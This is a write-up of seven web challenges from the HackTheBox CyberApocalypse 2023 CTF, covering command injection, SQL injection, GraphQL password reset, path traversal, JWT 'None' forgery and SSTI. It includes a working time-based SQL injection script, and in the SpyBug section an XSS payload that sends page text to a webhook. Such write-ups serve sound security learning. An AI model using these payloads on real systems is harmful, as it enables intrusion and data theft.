CyberApocalypse CTF 2023 — HackTheBox
1. Trapped Source — Web
Intergalactic Ministry of Spies tested Pandora’s movement and intelligence abilities. She found herself locked in a room with no apparent means of escape. Her task was to unlock the door and make her way out. Can you help her in opening the door?
Opening the webpage it asks for pin code.
The correct pin code was visible in the source code.
Submitting the correct pin code revealed the flag.
2. Gunhead — Web
During Pandora’s training, the Gunhead AI combat robot had been tampered with and was now malfunctioning, causing it to become uncontrollable. With the situation escalating rapidly, Pandora used her hacking skills to infiltrate the managing system of Gunhead and urgently needs to take it down.
Opening the challenge URL, we get the following page.
It also had a terminal where we could execute some commands.
In the source code, we could see that this was vulnerable to command injection as the IP address which is user controlled in this case is directly passed into the function which executes system commands.
Injecting the following simple command, we are able to read the flag.
3. Drobots — Web
Pandora’s latest mission as part of her reconnaissance training is to infiltrate the Drobots firm that was suspected of engaging in illegal activities. Can you help pandora with this task?
Opening the URL, we get the following login page.
From the source code, we could see the user input directly appended to the SQL query hence vulnerable to SQL injection.
Using the following payload, we bypass the login and get the flag.
4. Passman — Web
Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?
Opening the challenge presents the following Login page.
After creating an account and logging in, we can add save our passwords.
Looking at the proxy, we can see that this web app is using GraphQL queries.
In the source code, there’s another GraphQL mutation called UpdatePassword
, which could allow us to update the password of any user as it does not asks for current password.
So, using it we are able to change the password of admin user.
And logging in as admin, we get the flag.
5. Orbital — Web
In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities — a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
Starting the challenge, we get the following login page.
The user input was being passed directly to the SQL query hence making it vulnerable to SQL injection. As the password is being checked separately, we cannot bypass login, but we can dump the password using time based query.
The following script that i wrote, extracts the password of admin user using time based SQL injection method.
import requests, urllib3, json
import time, sys, string
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxy = {
"http":"http://127.0.0.1:8080",
"https":"http://127.0.0.1:8080"
}
url = 'http://68.183.37.122:31541/api/login'
headers = {
"Content-Type": "application/json"
}
print('\n[+] Finding password of admin user...')
pass_len = 32 # md5 hash length
chars = string.digits + 'abcdef' # characters in md5 hash
password = ''
for i in range(1, pass_len+1):
for c in chars:
payload = f"admin\" AND SLEEP(3) AND SUBSTRING(password,{i},1)='{c}'-- -"
data = {"username" : payload,
"password" : "password"}
t1 = time.time()
r = requests.post(url, headers=headers, data=json.dumps(data), verify=False)
t2 = time.time()
diff = t2 - t1
sys.stdout.write(f'\r{password}{c}')
sys.stdout.flush()
if int(diff) >= 3:
password +=c
break
print("\n[+] Done!!!")
Running the script, we get the MD5 hash of admin’s password
This was a weak MD5 hash which could be easily cracked to get the plain text string.
Logging in as admin, we get the following dashboard.
From the source code, we find that authenticated endpoint /api/export is vulnerable to path traversal.
We can confirm this by using the linux path squence and read /etc/passwd file.
The name of the flag file was visible in the Dockerfile
provided with the challenge source code so, we were able to read the flag.
6. Didactic Octo Paddles — Web
You have been hired by the Intergalactic Ministry of Spies to retrieve a powerful relic that is believed to be hidden within the small paddle shop, by the river. You must hack into the paddle shop’s system to obtain information on the relic’s location. Your ultimate challenge is to shut down the parasitic alien vessels and save humanity from certain destruction by retrieving the relic hidden within the Didactic Octo Paddles shop.
The challenge starts with a login page. The application also allows us to register and we get the following page after logging in.
From the source code, we can see an admin route which is only accessible to the admin user and it’s rendering the usernames of registered users using nodejs JSrender template. This is vulnerable to Server Side Template Injection (SSTI). But, to access this, we need to be an admin.
Looking at the AdminMiddleware to see the logic, how it verifies if the user is admin, we could see that it didn’t allow none type JWT signing algorithm. However, it never checked for None
. So, if we pass a JWT with None algorithm, it will go in else clause, which would allow us to login as admin as the JWT verification would always pass for an empty hash because of the None algorithm.
Here’s the current JWT that we have for our normal user.
We create the following JWT in which algorithm is None and the id is changed to 1 as it is id of admin user and the signature part is empty.
Passing the new forged JWT, we can access the admin page.
Now, as we above in the code that this page was vulnerable to SSTI so, we register a new user with JSrender SSTI payload in the username to read the flag.
After triggering the injection on admin page, we get the flag.
7. SpyBug — Web
As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry’s communication channels. Can you hack into the portal and take down the aliens counter-spying operation?
Looking at the given source code, we had two components. One was a NodeJS based application (control-panel) and the other was a Go based client (agent). The agent would send the data to control panel.
From the Go client, we can see some endpoints. There was an endpoint to register an agent.
The other endpoint was used to update the details (hostname
, platform
, and arch
) of the agent.
Another endpoint was to upload the recordings from client.
From the source code of control panel, we can see how these endpoints handle the requests from agent. The details of agent are saved into the database using updateAgentDetails function.
The endpoint for uploading recording uses the multer middle middleware to handle the file uploads and it also has some regex to match the starting bytes of the uploaded wave file and it returns the name of the uploaded file.
The multer also checks for the mimetype and extension of uploaded recording and it also changes name of file to random string.
There was also admin bot in the control panel which would authenticate and visit the panel page once every minute.
Looking at panel endpoint, we can see that it renders the Flag, the agent details and the recording on the page. The template engine used in the app is Pug.
Looking at the panel view, it uses the !
exclamation mark which prints the raw HTML without sanitization. So, this means we can perform the Cross-Site Scripting (XSS) attack.
But the main problem here is the Content Security Policy (CSP). As the script-src is set to self means that scripts from the same domain will be executed.
Content-Security-Policy: "script-src 'self'; frame-ancestors 'none'; object-src 'none'; base-uri 'none';
So, the attack vector here is to chain the file upload with XSS. First, we register an user and then upload the file containing the required starting bytes and our XSS payload. Then, we update the agent details to include the upload file as script.
So, First we register the agent and get the credentials (id and token).
Then, we upload the file with required starting bytes RIFF1111WAVE
and then our XSS payload which tries to load an image from our webhook with all the text of panel body (which includes our flag) in the query string. After uploading the file, we get the new random name of this file in response.
var i=new Image;i.src="https://webhook.site/92fbe56c-dc73-48e2-84a9-be54aaf3c5ba/?cookie="+document.body.innerText;
Now, we update the agent details and inject the file script that we uploaded in the hostname.
After waiting a minute, when the adminbot triggers the XSS, we get the flag on our webhook.